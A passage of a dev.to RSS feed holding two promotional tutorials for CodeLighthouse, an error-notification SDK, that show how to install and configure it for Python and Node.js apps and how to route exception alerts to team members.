&lt;p&gt;We designed CodeLighthouse with the complexity of distributed agile teams in mind, so collaboration is a key design feature. You can invite additional users to your CodeLighthouse organization via the &lt;a href="https://codelighthouse.io/admin/users" rel="noopener noreferrer"&gt;user management page&lt;/a&gt;. Once they accept the invitation, you can choose to send the error notifications from the application to them by specifying their email address in &lt;code&gt;default_email&lt;/code&gt; instead. Users in your organization can &lt;a href="https://codelighthouse.io/login" rel="noopener noreferrer"&gt;log in&lt;/a&gt; and configure their notification settings and view errors in the error feed.&lt;/p&gt;

&lt;p&gt;Once you've got the SDK imported into your code, you have a couple of options on how to use it:&lt;/p&gt;

&lt;h3&gt;
  
  
  The Global Exception Handler
&lt;/h3&gt;

&lt;p&gt;By default, CodeLighthouse will automatically catch all uncaught exceptions and unhandled promise rejections. Application error notifications will be sent to the user specified by the &lt;code&gt;default_email&lt;/code&gt; configuration option. This can be you, or another user in your CodeLighthouse organization. &lt;/p&gt;

&lt;p&gt;The global exception handler can be disabled by passing the keyword argument &lt;code&gt;send_uncaught_exceptions=False&lt;/code&gt; to the CodeLighthouse configuration.&lt;/p&gt;

&lt;p&gt;It's important to note that this might not always behave as expected if you're using frameworks like Flask since they often implicitly provide their own error handlers. For example, Flask will catch exceptions inside of routes and handle them before they reach our global exception handler. Fortunately, we have a solution.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Error Catcher Decorator
&lt;/h3&gt;

&lt;p&gt;You can use the error catcher decorator to mark function owners that should receive notifications for errors within individual functions or application routes. In the decorator, specify the email address of the user in your organization who should receive the notification.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# make sure you've imported and configured the SDK!
&lt;/span&gt;&lt;span class="nd"&gt;@lighthouse.error_catcher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;alice@codelighthouse.io&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;some_function&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="nf"&gt;do_some_thing&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Did something!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the &lt;a href="https://docs.codelighthouse.io/docs/sdk-python/docs/python/py_sdk_docs.md" rel="noopener noreferrer"&gt;docs&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note that the CodeLighthouse decorator must be inside of decorators used for web framework routing (Flask, Pyramid, etc.). Alternatively, using &lt;code&gt;app.add_url_rule()&lt;/code&gt; instead of the &lt;code&gt;@app.route()&lt;/code&gt; decorator will work for Flask apps and blueprints.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Sending Errors Manually
&lt;/h3&gt;

&lt;p&gt;Of course, we anticipate that many developers will already be performing exception handling in their code, but may want to send &amp;amp; receive notifications for those handled exceptions anyways. Our SDK provides an easy way for you to do this as well:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# make sure you've imported and configured the SDK!
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;some_function&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;call_a_broken_function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;NameError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;lighthouse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bob@codelighthouse.io&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the example demonstrates, you can either send notifications to the default user specified in the SDK configuration, or to another user in your CodeLighthouse organization. You can view and invite additional users to your CodeLighthouse organization on the &lt;a href="https://codelighthouse.io/admin/users" rel="noopener noreferrer"&gt;user management page in your dashboard&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Still want to know more?
&lt;/h2&gt;

&lt;p&gt;Do you have any questions? Are you looking for tech support, support for another language, or a plan tailored specifically to your organization's needs? Check out our &lt;a href="https://docs.codelighthouse.io" rel="noopener noreferrer"&gt;documentation page&lt;/a&gt;, reach out to us at &lt;a href="mailto:hello@codelighthouse.io"&gt;hello@codelighthouse.io&lt;/a&gt;, or visit our &lt;a href="https://codelighthouse.io/contact" rel="noopener noreferrer"&gt;contact page&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;I look forward to hearing what y'all think in the comments below!&lt;/p&gt;

</description>
      <category>python</category>
      <category>cloud</category>
      <category>microservices</category>
      <category>serverless</category>
    </item>
    <item>
      <title>Set up real-time error notifications for your Node.js applications in 15 minutes or less</title>
      <dc:creator>Kyle Mistele</dc:creator>
      <pubDate>Tue, 15 Dec 2020 15:52:20 +0000</pubDate>
      <link>https://dev.to/kmistele/set-up-real-time-error-notifications-for-your-node-js-applications-in-15-minutes-or-less-j41</link>
      <guid>https://dev.to/kmistele/set-up-real-time-error-notifications-for-your-node-js-applications-in-15-minutes-or-less-j41</guid>
      <description>&lt;h2&gt;
  
  
  What happens when things go bump in the night?
&lt;/h2&gt;

&lt;p&gt;What happens when your cloud-based Node.js applications run into errors that affect your users? Do you get notified? If you want your users to stay your users and not become your competitor's customers, it's crucial to have a monitoring and notification system in place. Today I'm going to show you how to set up a solution for just that in 15 minutes or less.&lt;/p&gt;

&lt;p&gt;Cloud applications and technologies are great and afford plenty of advantages, but they have plenty of downsides too—gaining visibility into them can be difficult. I've spent endless hours hunting down errors in these types of environments, and it's not fun. I frequently found myself having to dig through dozens of logs before I could identify errors successfully—if I even detected them at all. &lt;/p&gt;

&lt;p&gt;That's why a friend and I built &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;codelighthouse.io&lt;/a&gt;—to help developers find and fix errors faster.&lt;/p&gt;

&lt;p&gt;Today I'm going to show you how you can use &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;codelighthouse.io&lt;/a&gt; to get real-time application error notifications sent straight to developers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;

&lt;p&gt;CodeLighthouse works by plugging a Node.js SDK into your code that automatically catches uncaught exceptions and unhandled promise rejections. The SDK also provides some other neat functionalities that I'll review more in-depth.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installing the CodeLighthouse Node.js SDK
&lt;/h3&gt;

&lt;p&gt;Adding our Node.js SDK to your project with NPM couldn't be easier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install codelighthouse
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Getting your API Key
&lt;/h3&gt;

&lt;p&gt;To get started with the SDK, you'll need to &lt;a href="https://codelighthouse.io/#pricing" rel="noopener noreferrer"&gt;sign up for a free account&lt;/a&gt; at &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;codelighthouse.io&lt;/a&gt;. Once you sign up, you'll be redirected to your admin dashboard where you can find the organization name you signed up with and your API key:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fypfx5wf9dt0v52v9d8gn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fypfx5wf9dt0v52v9d8gn.png" alt="admin_organization_dashboard"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Go ahead and note both of these down. We recommend copying/pasting the API key straight from the admin panel to avoid typing errors, and we provide a handy link right below it to do exactly that.&lt;/p&gt;
&lt;h3&gt;
  
  
  Configuring the SDK
&lt;/h3&gt;

&lt;p&gt;Importing and configuring the SDK is super easy:&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



&lt;p&gt;Note that your &lt;code&gt;organization_name&lt;/code&gt; and &lt;code&gt;api_key&lt;/code&gt; are the values you copied down earlier. You can find them in your admin panel &lt;a href="https://codelighthouse.io/admin/organization" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;default_email&lt;/code&gt; should be the email address you signed up with. &lt;/p&gt;

&lt;h3&gt;
  
  
  Inviting Users
&lt;/h3&gt;

&lt;p&gt;We designed CodeLighthouse with the complexity of distributed agile teams in mind, so collaboration is a key design feature. You can invite additional users to your CodeLighthouse organization via the &lt;a href="https://codelighthouse.io/admin/users" rel="noopener noreferrer"&gt;user management page&lt;/a&gt;. Once they accept the invitation, you can choose to send error notifications for the application to them by specifying their email address in &lt;code&gt;default_email&lt;/code&gt; instead. Users in your organization can &lt;a href="https://codelighthouse.io/login" rel="noopener noreferrer"&gt;log in&lt;/a&gt; and configure their notification settings and view errors in the error feed.&lt;/p&gt;

&lt;p&gt;Once you've got the SDK imported into your code, you have a couple of options on how to use it:&lt;/p&gt;

&lt;h3&gt;
  
  
  The Global Exception Handler
&lt;/h3&gt;

&lt;p&gt;By default, CodeLighthouse will automatically catch all uncaught exceptions and unhandled promise rejections. Application error notifications will be sent to the user specified by the &lt;code&gt;default_email&lt;/code&gt; configuration option. This can be you, or another user in your CodeLighthouse organization.&lt;/p&gt;

&lt;p&gt;The global exception handler can be disabled by passing the keyword argument &lt;code&gt;enable_global_handler=false&lt;/code&gt; to the SDK configuration.&lt;/p&gt;

&lt;p&gt;It's important to note that this might not always behave as expected if you're using frameworks like Express.js since they often implicitly provide their own error handlers. For example, Express will catch exceptions inside of routes and handle them before they reach our global exception handler. Fortunately, we have a solution.&lt;/p&gt;

&lt;h3&gt;
  
  
  CodeLighthouse's Express.js integration
&lt;/h3&gt;

&lt;p&gt;I personally love Express.js, and I'm not the only one - 73% of Node.js developers use it. Its overwhelming popularity made supporting it an easy call. We've made it easy to report application errors that happen inside your Express app:&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;h3&gt;
  
  
  Manually catching exceptions
&lt;/h3&gt;

&lt;p&gt;Of course, we anticipate that many developers will already be performing exception handling in their code, but may want to send &amp;amp; receive notifications for those handled exceptions anyways. Our SDK provides an easy way for you to do this as well:&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;p&gt;As the example demonstrates, you can either send notifications to the default user specified in the SDK, or to another user in your CodeLighthouse organization. You can view and invite additional users to your CodeLighthouse organization on the &lt;a href="https://codelighthouse.io/admin/users" rel="noopener noreferrer"&gt;user management page in your dashboard&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Still want to know more?
&lt;/h2&gt;

&lt;p&gt;Do you have any questions? Are you looking for tech support, support for another language, or a plan tailored specifically to your organization's needs? Check out our &lt;a href="https://docs.codelighthouse.io" rel="noopener noreferrer"&gt;documentation page&lt;/a&gt;, reach out to us at &lt;a href="mailto:hello@codelighthouse.io"&gt;hello@codelighthouse.io&lt;/a&gt;, or visit our &lt;a href="https://codelighthouse.io/contact" rel="noopener noreferrer"&gt;contact page&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;I look forward to hearing what y'all think in the comments below!&lt;/p&gt;

</description>
      <category>node</category>
      <category>cloud</category>
      <category>microservices</category>
      <category>serverless</category>
    </item>
  </channel>
</rss>
